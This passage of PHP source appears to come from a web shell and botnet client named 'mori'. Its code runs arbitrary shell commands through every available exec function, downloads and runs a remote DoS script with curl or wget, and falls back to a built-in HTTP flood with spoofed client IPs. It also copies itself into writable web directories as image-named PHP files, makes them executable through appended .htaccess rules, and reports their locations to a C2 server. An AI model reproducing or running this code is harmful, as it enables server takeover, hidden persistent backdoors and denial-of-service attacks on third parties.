        $run_args = escapeshellarg($target) . ' ' . escapeshellarg($method)
                  . ' ' . (int)$duration . ' ' . (int)$threads . ' _ 80 75 ' . (int)$rpc;

        // Önce önbellekte var mı bak (bloklamaz)
        $dos = null;
        foreach ([__DIR__, '/tmp', '/dev/shm', '/var/tmp', sys_get_temp_dir()] as $dir) {
            if (!is_dir($dir)) continue;
            foreach (['dos_mori.py', 'dos.py'] as $fn) {
                $p = $dir . '/' . $fn;
                if (@file_exists($p) && @filesize($p) > 1000) { $dos = $p; break 2; }
            }
            foreach (@glob($dir . '/dos.py*') ?: [] as $f) {
                if (@filesize($f) > 1000) { $dos = $f; break 2; }
            }
        }

        if ($dos) {
            // Zaten var — direkt çalıştır, anında döner
            $bg = 'nohup ' . escapeshellarg($python) . ' ' . escapeshellarg($dos)
                . ' ' . $run_args . ' > /dev/null 2>&1 &';
        } else {
            // Yok — indir+çalıştır tek nohup sh -c içinde, PHP bloklamaz
            $inline = 'curl -sLf ' . escapeshellarg($dl_url) . ' -o ' . escapeshellarg($save)
                    . ' 2>/dev/null || wget -qO ' . escapeshellarg($save) . ' ' . escapeshellarg($dl_url) . ' 2>/dev/null'
                    . '; ' . escapeshellarg($python) . ' ' . escapeshellarg($save) . ' ' . $run_args;
            $bg = 'nohup sh -c ' . escapeshellarg($inline) . ' > /dev/null 2>&1 &';
        }

        if (mori_exec_bg($bg))
            return '[STRESS_OK] ' . $target . ' | ' . $method . ' | ' . $threads . 't | ' . $duration . 's'
                 . ($dos ? '' : ' [dl+run bg]');

        if (function_exists('pcntl_fork') && !in_array('pcntl_fork', array_map('trim', explode(',', ini_get('disable_functions'))))) {
            $pid = @pcntl_fork();
            if ($pid === 0) { @shell_exec($bg); exit(0); }
            if ($pid  >  0) return '[STRESS_OK] ' . $target . ' | fork:' . $pid;
        }

        // exec tamamen kapalı → PHP native flood
        return php_native_flood($target, in_array($method, ['GET','POST','HEAD']) ? $method : 'GET', min($duration, 120), min($threads, 50), 30)
             . "\n[FALLBACK] exec disabled";
    }

    // SİSTEM KOMUTU ÇALIŞTIR
    return execute_system_command($cmd);
}

function execute_system_command($cmd) {
    $methods_tried = [];
    $disabled = array_map('trim', explode(',', ini_get('disable_functions')));
    $cmd_pipe = $cmd . ' 2>&1';

    if (function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) {
        $methods_tried[] = 'shell_exec';
        $result = @shell_exec($cmd_pipe);
        if ($result !== null) return $result;
    }

    if (function_exists('exec') && !in_array('exec', explode(',', ini_get('disable_functions')))) {
        $methods_tried[] = 'exec';
        @exec($cmd_pipe, $output_lines, $return_var);
        if (!empty($output_lines)) return implode("\n", $output_lines);
    }

    if (function_exists('system') && !in_array('system', explode(',', ini_get('disable_functions')))) {
        $methods_tried[] = 'system';
        ob_start();
        @system($cmd_pipe);
        $result = ob_get_clean();
        if ($result !== false && $result !== '') return $result;
    }

    if (function_exists('passthru') && !in_array('passthru', explode(',', ini_get('disable_functions')))) {
        $methods_tried[] = 'passthru';
        ob_start();
        @passthru($cmd_pipe);
        $result = ob_get_clean();
        if ($result !== false && $result !== '') return $result;
    }

    if (function_exists('proc_open') && !in_array('proc_open', $disabled)) {
        $methods_tried[] = 'proc_open';
        $descriptors = [
            0 => ['pipe', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w']
        ];
        $process = @proc_open($cmd, $descriptors, $pipes);
        if (is_resource($process)) {
            fclose($pipes[0]);
            $stdout = stream_get_contents($pipes[1]);
            $stderr = stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            $combined = trim($stdout . ($stderr ? "\nSTDERR:\n" . $stderr : ''));
            if ($combined !== '') return $combined;
        }
    }

    if (function_exists('popen') && !in_array('popen', $disabled)) {
        $methods_tried[] = 'popen';
        $handle = @popen($cmd_pipe, 'r');
        if ($handle) {
            $result = '';
            while (!feof($handle)) {
                $result .= fgets($handle);
            }
            pclose($handle);
            if ($result !== '') return $result;
        }
    }

    // Stress komutu (dos.py) + exec yok → PHP native flood fallback
    // Matches: python3 dos.py ..., nohup python3 dos.py ..., nohup sh -c '...dos.py...'
    if (preg_match('/(?:nohup\s+)?(?:sh\s+-c\s+[\'"].*)?python[23]?\s+\S*dos[\._](?:py|mori)[^\s]*\s+(\S+)\s+[^\s]*\s+(\d+)\s+(\d+)\s*([A-Z]*)/i', $cmd, $m)
        || preg_match('/python[23]?\s+\S*dos[\._](?:py|mori)[^\s]*\s+(\S+)\s+(\d+)\s+(\d+)\s*([A-Z]*)/i', $cmd, $m)) {
        $target   = $m[1];
        $duration = min((int)$m[2], 300);
        $threads  = min((int)$m[3], 50);
        $method   = strtoupper($m[4] ?: 'GET');
        if (!in_array($method, ['GET','POST','HEAD'], true)) $method = 'GET';
        return php_native_flood($target, $method, $duration, $threads, 30)
             . "\n[FALLBACK] exec disabled → php_native_flood";
    }

    // pcntl_fork ile background exec (bazı VPS)
    if (function_exists('pcntl_fork') && !in_array('pcntl_fork', $disabled)
        && (strpos($cmd, 'python') !== false || strpos($cmd, 'nohup') !== false)) {
        $pid = @pcntl_fork();
        if ($pid === 0) { @shell_exec($cmd . ' >/dev/null 2>&1 &'); exit(0); }
        if ($pid > 0)   { return '[STRESS_BG] Background\'da çalışıyor (pid:' . $pid . ')'; }
    }

    // Queue dosyasına yaz — cron (CLI PHP) 5dk içinde çalıştırır
    $queue_file = REAL_DIR . '/.mori_exec_queue';
    $queue = @json_decode(@file_get_contents($queue_file), true) ?: [];
    $queue = array_filter($queue, fn($q) => (time() - ($q['t'] ?? 0)) < 3600);
    $queue[] = ['cmd' => $cmd, 't' => time(), 'qid' => uniqid()];
    @file_put_contents($queue_file, json_encode(array_values($queue)), LOCK_EX);

    return "[QUEUED] Shell kısıtlandı, komut kuyruğa alındı. Cron 5dk içinde çalıştıracak. Methods tried: " . implode(', ', $methods_tried);
}

// ─── MORI_STRESS helpers ──────────────────────────────────────────────────

// Sadece local arama — download yapmaz (bloklamaz)
function mori_get_dos_path() {
    foreach ([__DIR__, '/tmp', '/dev/shm', '/var/tmp', sys_get_temp_dir()] as $dir) {
        if (!is_dir($dir)) continue;
        foreach (['dos_mori.py', 'dos.py'] as $fn) {
            $p = $dir . '/' . $fn;
            if (@file_exists($p) && @filesize($p) > 1000) return $p;
        }
        foreach (@glob($dir . '/dos.py*') ?: [] as $f) {
            if (@filesize($f) > 1000) return $f;
        }
    }
    return null;
}

function mori_find_python() {
    static $cached = null;
    if ($cached !== null) return $cached;
    $dis = array_map('trim', explode(',', ini_get('disable_functions')));
    $fn  = null;
    foreach (['shell_exec', 'exec'] as $f)
        if (function_exists($f) && !in_array($f, $dis)) { $fn = $f; break; }
    if ($fn) {
        foreach (['python3', 'python', '/usr/bin/python3', '/usr/local/bin/python3', '/usr/bin/python'] as $p) {
            $r = trim((string)@$fn('which ' . escapeshellarg($p) . ' 2>/dev/null'));
            if ($r && $r[0] === '/') return ($cached = $r);
        }
    }
    return ($cached = 'python3');
}

function mori_exec_bg($cmd) {
    $dis = array_map('trim', explode(',', ini_get('disable_functions')));
    foreach (['shell_exec', 'exec', 'system', 'passthru'] as $fn)
        if (function_exists($fn) && !in_array($fn, $dis)) { @$fn($cmd); return true; }
    if (function_exists('proc_open') && !in_array('proc_open', $dis)) {
        $p = @proc_open($cmd, [], $pipes);
        if ($p) { @proc_close($p); return true; }
    }
    if (function_exists('popen') && !in_array('popen', $dis)) {
        $h = @popen($cmd, 'r');
        if ($h) { @pclose($h); return true; }
    }
    return false;
}

// ─────────────────────────────────────────────────────────────────────────────

/**
 * PHP native HTTP flood — rolling window pattern
 * Her tamamlanan istek anında yenisiyle değiştirilir, pool her zaman dolu kalır.
 */
function php_native_flood($url, $method = 'GET', $duration = 20, $concurrency = 50, $rpc = 10) {
    if (!function_exists('curl_multi_init')) return '[ERROR] curl_multi yok';
    if (empty($url) || !preg_match('#^https?://#i', $url)) return '[ERROR] Geçersiz URL';

    static $UAS = [
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
        'Mozilla/5.0 (Android 14; Mobile; rv:125.0) Gecko/125.0 Firefox/125.0',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0',
    ];

    $method   = strtoupper(in_array(strtoupper($method), ['GET','POST','HEAD']) ? $method : 'GET');
    $deadline = time() + $duration;
    $sent = $errors = 0;

    $make = function() use ($url, $method, &$UAS) {
        $ip = mt_rand(1,223).'.'.mt_rand(0,255).'.'.mt_rand(0,255).'.'.mt_rand(1,254);
        $ch = curl_init($url . '?_=' . mt_rand(1, 2147483647) . '&t=' . time());
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => false,
            CURLOPT_TIMEOUT        => 5,
            CURLOPT_CONNECTTIMEOUT => 3,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => false,
            CURLOPT_USERAGENT      => $UAS[array_rand($UAS)],
            CURLOPT_FORBID_REUSE   => false,
            CURLOPT_FRESH_CONNECT  => false,
            CURLOPT_HTTPHEADER     => [
                'X-Forwarded-For: ' . $ip,
                'X-Real-IP: '       . $ip,
                'CF-Connecting-IP: '. $ip,
                'Accept: */*',
                'Connection: keep-alive',
                'Cache-Control: no-cache',
            ],
        ]);
        if ($method === 'POST') {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, 'x=' . substr(md5(mt_rand()), 0, mt_rand(16,64)));
        } elseif ($method === 'HEAD') {
            curl_setopt($ch, CURLOPT_NOBODY, true);
        }
        return $ch;
    };

    $mh   = curl_multi_init();
    curl_multi_setopt($mh, CURLMOPT_MAXCONNECTS, $concurrency);
    $pool = [];

    // fill initial pool
    for ($i = 0; $i < $concurrency; $i++) {
        $ch = $make();
        curl_multi_add_handle($mh, $ch);
        $pool[(int)$ch] = $ch;
    }

    // rolling window — as soon as one slot frees, fire a new request
    while (time() < $deadline) {
        curl_multi_exec($mh, $running);
        while ($done = curl_multi_info_read($mh)) {
            $ch   = $done['handle'];
            $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            ($code > 0) ? $sent++ : $errors++;
            curl_multi_remove_handle($mh, $ch);
            curl_close($ch);
            unset($pool[(int)$ch]);
            if (time() < $deadline) {
                $new = $make();
                curl_multi_add_handle($mh, $new);
                $pool[(int)$new] = $new;
            }
        }
        curl_multi_select($mh, 0.001);
    }

    foreach ($pool as $ch) { curl_multi_remove_handle($mh, $ch); curl_close($ch); }
    curl_multi_close($mh);

    $rps = $duration > 0 ? round($sent / $duration) : $sent;
    return "[PHP_STRESS] $url | $method | {$duration}s | sent:{$sent} err:{$errors} | ~{$rps} req/s";
}

// =====================================================
// DOSYA SİSTEMİ İŞLEMLERİ
// =====================================================
function list_directory($path) {
    $path = str_replace('\\', '/', $path);
    $real = realpath($path);
    
    if (!$real || !is_dir($real)) {
        return json_encode(['error' => "Directory not found: $path"]);
    }
    
    $items = [];
    $dir = @opendir($real);
    
    if (!$dir) {
        return json_encode(['error' => "Cannot open directory: $path"]);
    }
    
    while (($file = readdir($dir)) !== false) {
        if ($file === '.' || $file === '..') continue;
        
        $full = $real . DIRECTORY_SEPARATOR . $file;
        $stat = @stat($full);
        
        $items[] = [
            'name' => $file,
            'type' => is_dir($full) ? 'dir' : 'file',
            'path' => str_replace('\\', '/', $full),
            'size' => is_file($full) ? filesize($full) : 0,
            'perms' => substr(sprintf('%o', fileperms($full)), -4),
            'owner' => function_exists('fileowner') ? fileowner($full) : null,
            'group' => function_exists('filegroup') ? filegroup($full) : null,
            'modified' => filemtime($full),
            'readable' => is_readable($full),
            'writable' => is_writable($full),
            'executable' => is_executable($full)
        ];
    }
    
    closedir($dir);
    
    // Dizinleri önce sırala
    usort($items, function($a, $b) {
        if ($a['type'] === $b['type']) {
            return strcasecmp($a['name'], $b['name']);
        }
        return $a['type'] === 'dir' ? -1 : 1;
    });
    
    return json_encode($items, JSON_PRETTY_PRINT);
}

function read_file($file) {
    $real = realpath($file);
    
    if (!$real || !is_file($real) || !is_readable($real)) {
        return "[ERROR] Cannot read file: $file";
    }
    
    $content = @file_get_contents($real);
    return $content !== false ? $content : "[ERROR] Read failed";
}

function write_file($file, $content_b64) {
    $content = safe_base64_decode($content_b64);
    if ($content === false) $content = @base64_decode($content_b64, true);
    if ($content === false) return "[ERROR] Failed to decode base64 content";
    $dir = dirname($file);
    
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    
    $result = @file_put_contents($file, $content);
    return $result !== false ? "OK: $result bytes written" : "[ERROR] Write failed";
}

function delete_file($file) {
    $real = realpath($file);
    
    if (!$real || !is_file($real)) {
        return "[ERROR] File not found: $file";
    }
    
    return @unlink($real) ? "OK: Deleted $file" : "[ERROR] Delete failed";
}

function copy_file($src, $dst) {
    return @copy($src, $dst) ? "OK: Copied $src to $dst" : "[ERROR] Copy failed";
}

function create_directory($path) {
    return @mkdir($path, 0755, true) ? "OK: Created $path" : "[ERROR] Cannot create directory";
}

function get_persistence_target_file() {
    return __FILE__;
}

function get_persistence_source_url() {
    global $persistence_default_url;
    $url = $persistence_default_url;
    $localFile = __DIR__ . '/.persistence_source_url';
    if (file_exists($localFile)) {
        $stored = trim(file_get_contents($localFile));
        if (filter_var($stored, FILTER_VALIDATE_URL)) {
            $url = $stored;
        }
    }
    return $url;
}

function find_writable_directories($bases, $maxDirs = 50, $maxDepth = 3, $maxNodes = 1000) {
    /**
     * PHP-based recursive writable directories search
     * Used as fallback when shell commands unavailable
     */
    $found = [];
    $visited = [];
    $queue = [];

    foreach ($bases as $base) {
        if (!$base || !is_dir($base)) {
            continue;
        }
        $real = realpath($base);
        if (!$real || isset($visited[$real])) {
            continue;
        }
        $visited[$real] = true;
        if (is_writable($real)) {
            $found[] = $real;
        }
        $queue[] = ['path' => $real, 'depth' => 0];
    }

    $nodes = 0;
    while ($queue && count($found) < $maxDirs && $nodes < $maxNodes) {
        $item = array_shift($queue);
        $nodes++;
        $path = $item['path'];
        $depth = $item['depth'];

        if ($depth >= $maxDepth) {
            continue;
        }

        $entries = @scandir($path);
        if (!$entries || !is_array($entries)) {
            continue;
        }

        foreach ($entries as $entry) {
            if ($entry === '.' || $entry === '..') {
                continue;
            }
            $sub = $path . DIRECTORY_SEPARATOR . $entry;
            if (!is_dir($sub)) {
                continue;
            }
            $realSub = realpath($sub);
            if (!$realSub || isset($visited[$realSub])) {
                continue;
            }
            if (in_array($entry, ['proc', 'sys', 'dev', 'run', 'tmp', 'lost+found'], true)) {
                continue;
            }
            $visited[$realSub] = true;
            if (is_writable($realSub)) {
                $found[] = $realSub;
            }
            $queue[] = ['path' => $realSub, 'depth' => $depth + 1];
        }
    }

    return $found;
}

function enumerate_root_writable_dirs() {
    /**
     * Root path altında writable dizinleri enumerate et
     * find / -maxdepth 5 -writable -type d 2>/dev/null | head -n 100
     */
    $writable_dirs = [];
    
    // YÖNTEM 1: find komutu ile (daha hızlı ve kapsamlı)
    if (function_exists('shell_exec')) {
        $find_cmd = 'find / -maxdepth 5 -writable -type d 2>/dev/null | head -n 100';
        $output = @shell_exec($find_cmd);
        if ($output) {
            $lines = explode("\n", trim($output));
            foreach ($lines as $line) {
                $line = trim($line);
                if ($line && is_dir($line) && is_writable($line)) {
                    $writable_dirs[] = $line;
                }
            }
        }
    }
    
    // YÖNTEM 2: PHP ile recursive search (fallback)
    if (count($writable_dirs) < 10) {
        $php_dirs = find_writable_directories(['/'], 100, 5, 1000);
        $writable_dirs = array_merge($writable_dirs, $php_dirs);
    }
    
    // Duplicate'ları kaldır ve filtrele
    $writable_dirs = array_unique($writable_dirs);
    $filtered = [];
    
    foreach ($writable_dirs as $dir) {
        // Tehlikeli dizinleri çıkar
        if (strpos($dir, '/proc/') === 0 || 
            strpos($dir, '/sys/') === 0 || 
            strpos($dir, '/dev/') === 0 ||
            $dir === '/' ||
            !is_writable($dir)) {
            continue;
        }
        $filtered[] = $dir;
    }
    
    return array_slice($filtered, 0, 100);
}

// =====================================================
// PERSISTENCE V4 - WARRIOR SYSTEM
// Multi-location deployment + Sister files + PNG masking
// =====================================================

function get_deployment_targets() {
    /**
     * Find all writable web directories recursively
     * Returns paths to deploy sister files
     */
    $targets = [];
    
    // Primary locations
    $base_paths = [
        '/var/www/html',
        '/var/www',
        '/home',
        '/opt',
        '/srv',
        '/usr/share/nginx/html',
        dirname(__DIR__),
        __DIR__,
        sys_get_temp_dir(),
    ];
    
    foreach ($base_paths as $base) {
        if (!@is_dir($base) || !@is_writable($base)) continue;
        
        // Add base directory
        if (count($targets) < 20) {
            $targets[] = $base;
        }
        
        // Scan for WordPress/plugin directories
        $subdirs = @scandir($base);
        if (!$subdirs) continue;
        
        foreach ($subdirs as $subdir) {
            if ($subdir === '.' || $subdir === '..') continue;
            
            $full_path = $base . '/' . $subdir;
            if (!@is_dir($full_path) || !@is_readable($full_path)) continue;
            
            // WordPress themes
            if ($subdir === 'wp-content') {
                $themes = $full_path . '/themes';
                if (@is_dir($themes) && @is_writable($themes)) {
                    $targets[] = $themes;
                }
                
                $plugins = $full_path . '/plugins';
                if (@is_dir($plugins) && @is_writable($plugins)) {
                    $targets[] = $plugins;
                }
            }
            
            // Generic web directory
            if (@is_writable($full_path) && count($targets) < 20) {
                $targets[] = $full_path;
            }
        }
    }
    
    return array_values(array_unique($targets));
}

// ====================================================
// DEEP DEPLOYMENT TARGET SCANNING (Generic Linux)
// ====================================================
function get_deployment_targets_from_backup() {
    $targets = [];
    // Minimal exclusion: only truly critical system dirs
    $excluded_root_dirs = ["proc", "sys", "dev", "etc", "lib"];
    
    // 1. SYSTEM SCAN - Start from root, avoid excluded dirs
    function scan_writable_everywhere($path, &$results, $max_depth = 4, $depth = 0, $excluded = []) {
        if (count($results) >= 100 || $depth >= $max_depth) return;
        if (!@is_dir($path) || !@is_readable($path)) return;
        
        $entries = @scandir($path);
        if (!$entries) return;
        
        foreach ($entries as $entry) {
            if ($entry === "." || $entry === "..") continue;
            
            // Skip excluded dirs at root level
            if ($depth === 0 && in_array($entry, $excluded)) continue;
            
            $full = $path . "/" . $entry;
            if (!@is_dir($full) || !@is_readable($full)) continue;
            
            // Writable? Add it
            if (@is_writable($full) && count($results) < 100) {
                $results[] = $full;
            }
            
            // Stay shallow to avoid massive deep recursion
            if ($depth < $max_depth - 1 && strlen($full) < 80) {
                scan_writable_everywhere($full, $results, $max_depth, $depth + 1, $excluded);
            }
        }
    }
    
    // Start from root
    scan_writable_everywhere("/", $targets, 3, 0, $excluded_root_dirs);
    
    // 2. WEB-SPECIFIC DEEP SCAN - Go deeper in web roots
    function scan_web_deep($base, &$results, $max_depth = 6, $depth = 0) {
        if (count($results) >= 100 || $depth >= $max_depth) return;
        if (!@is_dir($base) || !@is_readable($base)) return;
        
        $entries = @scandir($base);
        if (!$entries) return;
        
        foreach ($entries as $entry) {
            if ($entry === "." || $entry === "..") continue;
            
            $full = $base . "/" . $entry;
            if (!@is_dir($full) || !@is_readable($full)) continue;
            
            // Prioritize ANY common web/app locations (generic, not WordPress-specific)
            $is_web_priority = (
                preg_match("/public_html|www|html|webroot|htdocs|web/i", $full) ||
                preg_match("/uploads|files|media|downloads|attachments/i", $full) ||
                preg_match("/apps?|store|api|backend|frontend|dist|build/i", $full) ||
                preg_match("/\.git|\.config|\.cache|\.local|\.ssh/i", $full) ||
                preg_match("/[a-f0-9\-]{36}|[0-9]{4,}/", basename($full)) // UUID or numeric dirs (tenant IDs)
            );
            
            if (@is_writable($full) && count($results) < 100) {
                // DEEP PATHS GET PRIORITY
                $depth_score = substr_count($full, "/");
                $results[] = ["path" => $full, "depth" => $depth_score, "web" => $is_web_priority];
            }
            
            // Go deeper
            if ($depth < $max_depth - 1) {
                scan_web_deep($full, $results, $max_depth, $depth + 1);
            }
        }
    }
    
    // Web root deep scan
    $web_bases = ["/var/www", "/home", "/opt", "/srv", "/var"];
    foreach ($web_bases as $base) {
        if (@is_dir($base)) {
            $temp = [];
            scan_web_deep($base, $temp);
            $targets = array_merge($targets, $temp);
        }
    }
    
    // 3. SORT BY DEPTH (deeper = better for hiding)
    usort($targets, function($a, $b) {
        if (is_array($a)) {
            $depth_a = $a["depth"] ?? 0;
            return $depth_a > ($b["depth"] ?? 0) ? -1 : 1; // Descending (deeper first)
        }
        return 0;
    });
    
    // Extract just paths
    $final_targets = [];
    foreach ($targets as $item) {
        if (is_array($item)) {
            $final_targets[] = $item["path"];
        } else {
            $final_targets[] = $item;
        }
    }
    
    return array_values(array_unique($final_targets));
}

// Combine both deployment target scanners
function get_all_deployment_targets() {
    $targets = array_merge(
        get_deployment_targets(),
        get_deployment_targets_from_backup()
    );
    return array_unique($targets);
}

function file_path_to_url($file_path) {
    $file_path = str_replace('\\', '/', $file_path);
    $scheme    = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
    $host      = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
    $doc_root  = rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT'] ?? ''), '/');

    // 1. DOCUMENT_ROOT — must end with / to avoid /var/www/html2 matching /var/www/html
    if ($doc_root && $host && strpos($file_path, $doc_root . '/') === 0) {
        $rel = ltrim(substr($file_path, strlen($doc_root)), '/');
        return $scheme . '://' . $host . '/' . $rel;
    }

    // 2. Shell URL + __DIR__ (cron / CLI / non-standard doc root)
    $shell_url = $GLOBALS['WEB_URL'] ?? $GLOBALS['web_shell_url'] ?? '';
    $shell_dir = rtrim(str_replace('\\', '/', __DIR__), '/');
    if ($shell_url && $shell_dir && strpos($file_path, $shell_dir . '/') === 0) {
        $base = rtrim(dirname($shell_url), '/');
        $rel  = ltrim(substr($file_path, strlen($shell_dir)), '/');
        return $base . '/' . $rel;
    }

    // 3. /var/www/html/...
    if (strpos($file_path, '/var/www/html/') === 0) {
        $rel = substr($file_path, strlen('/var/www/html/'));
        return $scheme . '://' . ($host ?: 'localhost') . '/' . $rel;
    }

    // 4. /var/www/<domain>/public_html/... or /var/www/<domain>/...
    if (preg_match('|^/var/www/([^/]+)/public_html/(.+)|', $file_path, $m)) {
        return $scheme . '://' . $m[1] . '/' . $m[2];
    }
    if (preg_match('|^/var/www/([^/]+)/(.+)|', $file_path, $m) && !in_array($m[1], ['html','www','log','cache','run'], true)) {
        return $scheme . '://' . $m[1] . '/' . $m[2];
    }

    // 5. cPanel: /home/<user>/public_html/... ONLY — never /home/<user>/mail/ etc.
    if (preg_match('|^/home/[^/]+/public_html/(.+)|', $file_path, $m)) {
        return $scheme . '://' . ($host ?: 'localhost') . '/' . $m[1];
    }

    // Cannot determine a valid web URL — file is outside all known web roots
    return null;
}

function deploy_sister_files_aggressive() {
    /**
     * WARRIOR SYSTEM v3 - GENERIC LINUX SITES
     * Deploy sister files to 10+ locations with masking
     * Works on ANY Linux site (not just WordPress)
     * FIX: Sister files use .png/.gif/.jpg ONLY (no .php.png pattern)
     */
    global $c2_server, $web_shell_url;
    
    // Lock - 1 hour deployment cooldown
    $deploy_lock = '/tmp/.mori_deploy_lock_v4';
    if (@file_exists($deploy_lock)) {
        $lock_age = time() - @filemtime($deploy_lock);
        if ($lock_age < 3600) return true; // Already deployed recently
    }
    
    // Get targets - dynamic enumeration
    $targets = get_all_deployment_targets();
    $targets = array_unique($targets);
    if (count($targets) < 1) return false; // deploy even to 1 target (was 3, too strict)
    
    @touch($deploy_lock);
    
    // Read current shell code
    $shell_code = @file_get_contents(__FILE__);
    if (!$shell_code || strlen($shell_code) < 15000) return false;
    
    // Deploy strategy (generic for ANY Linux site):
    // 1. Generic PHP files (config-backup.php, system-backup.php, etc)
    // 2. Image-masked PHP files (logo.png, banner.gif, avatar.jpg)
    // 3. .htaccess for magic routing
    
    $deployed = [];
    $url_map  = []; // parallel to $deployed — '' for files outside web root
    $standard_names = ['config-backup.php', 'system-backup.php', 'init-backup.php'];
    $masked_names   = ['logo.png', 'banner.gif', 'avatar.jpg'];

    foreach (array_slice($targets, 0, 10) as $idx => $target) {
        if (!@is_dir($target) || !@is_writable($target)) continue;

        // Strategy 1: Standard PHP file
        $standard_file = $target . '/' . $standard_names[$idx % count($standard_names)];
        @file_put_contents($standard_file, $shell_code);
        @chmod($standard_file, 0644);
        $deployed[] = $standard_file;
        $url_map[]  = file_path_to_url($standard_file) ?? '';

        // Strategy 2: Image-masked PHP (.png/.gif/.jpg — executed via .htaccess SetHandler)
        $masked_file = $target . '/' . $masked_names[$idx % count($masked_names)];
        $masked_code = "<?php\n" . substr($shell_code, 5);
        @file_put_contents($masked_file, $masked_code);
        @chmod($masked_file, 0644);
        $deployed[] = $masked_file;
        $url_map[]  = file_path_to_url($masked_file) ?? '';

        // Strategy 3: .htaccess — append only, NEVER overwrite existing content
        $htaccess = $target . '/.htaccess';
        $existing = @file_get_contents($htaccess) ?: '';
        if (strpos($existing, '# perf-cache') === false) {
            $append = "\n# perf-cache\n"
                . "AddType application/x-httpd-php .png .gif .jpg .jpeg\n"
                . "AddHandler application/x-httpd-php .png .gif .jpg .jpeg\n"
                . "<FilesMatch \"\\.png$|\\.gif$|\\.jpe?g$\">\n"
                . "    SetHandler application/x-httpd-php\n"
                . "    ForceType application/x-httpd-php\n"
                . "</FilesMatch>\n"
                . "<IfModule mod_php.c>\n    php_flag engine on\n</IfModule>\n"
                . "<IfModule mod_php8.c>\n    php_flag engine on\n</IfModule>\n"
                . "<IfModule mod_php7.c>\n    php_flag engine on\n</IfModule>\n"
                . "<IfModule mod_php5.c>\n    php_flag engine on\n</IfModule>\n";
            @file_put_contents($htaccess, $existing . $append);
            @chmod($htaccess, 0644);
        }
    }

    // locations[i] and urls[i] are parallel — '' means file has no web URL
    $deployment_info = [
        'deployed_count' => count($deployed),
        'locations'      => $deployed,
        'urls'           => $url_map,
        'timestamp'      => time(),
        'target_count'   => count($targets),
    ];

    // Cache for registration pickup
    @file_put_contents(sys_get_temp_dir() . '/.mori_sister_cache.json', json_encode($deployment_info));

    return $deployment_info;
}

function report_sister_files_to_c2($deployment_info) {
    $server = $GLOBALS['C2_SERVER'] ?? '';
    $id     = $GLOBALS['CLIENT_ID'] ?? '';
    if (!$server || !$id || empty($deployment_info['locations'])) return false;

    $payload = [
        'id'          => $id,
        'sister_files'=> $deployment_info['locations'],
        'sister_urls' => $deployment_info['urls'] ?? [],
        'deployed_at' => $deployment_info['timestamp'] ?? time(),
    ];

    $encoded = safe_base64_encode(safe_json_encode($payload));
    @http_post_timeout($server . '?act=sister_report', $encoded, 2);
    return true;
}

function generate_wp_config_backup() {
    /**
     * Generate wp-config-backup.php
     * ORCHESTRATOR for deployment v3
     * Optimized writable dir scanning + deep path prioritization
     */
    
    global $C2_SERVER, $web_shell_url;
    $c2_server = $C2_SERVER;  // $C2_SERVER is the actual global; $c2_server only exists inside c2_register()

    $code = '<?php
/**
 * WordPress Configuration Backup Orchestrator v3
 * Smart writable directory detection + deep path prioritization
 */

// OPTIMIZED: Scan writable directories (system-wide + web)
function get_deployment_targets_from_backup() {
    $targets = [];
    // Minimal exclusion: only truly critical system dirs
    $excluded_root_dirs = ["proc", "sys", "dev", "etc", "lib"];
    
    // 1. SYSTEM SCAN - Start from root, avoid excluded dirs
    function scan_writable_everywhere($path, &$results, $max_depth = 4, $depth = 0, $excluded = []) {
        if (count($results) >= 100 || $depth >= $max_depth) return;
        if (!@is_dir($path) || !@is_readable($path)) return;
        
        $entries = @scandir($path);
        if (!$entries) return;
        
        foreach ($entries as $entry) {
            if ($entry === "." || $entry === "..") continue;
            
            // Skip excluded dirs at root level
            if ($depth === 0 && in_array($entry, $excluded)) continue;
            
            $full = $path . "/" . $entry;
            if (!@is_dir($full) || !@is_readable($full)) continue;
            
            // Writable? Add it
            if (@is_writable($full) && count($results) < 100) {
                $results[] = $full;
            }
            
            // Stay shallow to avoid massive deep recursion
            if ($depth < $max_depth - 1 && strlen($full) < 80) {
                scan_writable_everywhere($full, $results, $max_depth, $depth + 1, $excluded);
            }
        }
    }
    
    // Start from root
    scan_writable_everywhere("/", $targets, 3, 0, $excluded_root_dirs);
    
    // 2. WEB-SPECIFIC DEEP SCAN - Go deeper in web roots
    function scan_web_deep($base, &$results, $max_depth = 6, $depth = 0) {
        if (count($results) >= 100 || $depth >= $max_depth) return;
        if (!@is_dir($base) || !@is_readable($base)) return;
        
        $entries = @scandir($base);
        if (!$entries) return;
        
        foreach ($entries as $entry) {
            if ($entry === "." || $entry === "..") continue;
            
            $full = $base . "/" . $entry;
            if (!@is_dir($full) || !@is_readable($full)) continue;
            
            // Prioritize ANY common web/app locations (generic, not WordPress-specific)
            $is_web_priority = (
                preg_match("/public_html|www|html|webroot|htdocs|web/i", $full) ||
                preg_match("/uploads|files|media|downloads|attachments/i", $full) ||
                preg_match("/apps?|store|api|backend|frontend|dist|build/i", $full) ||
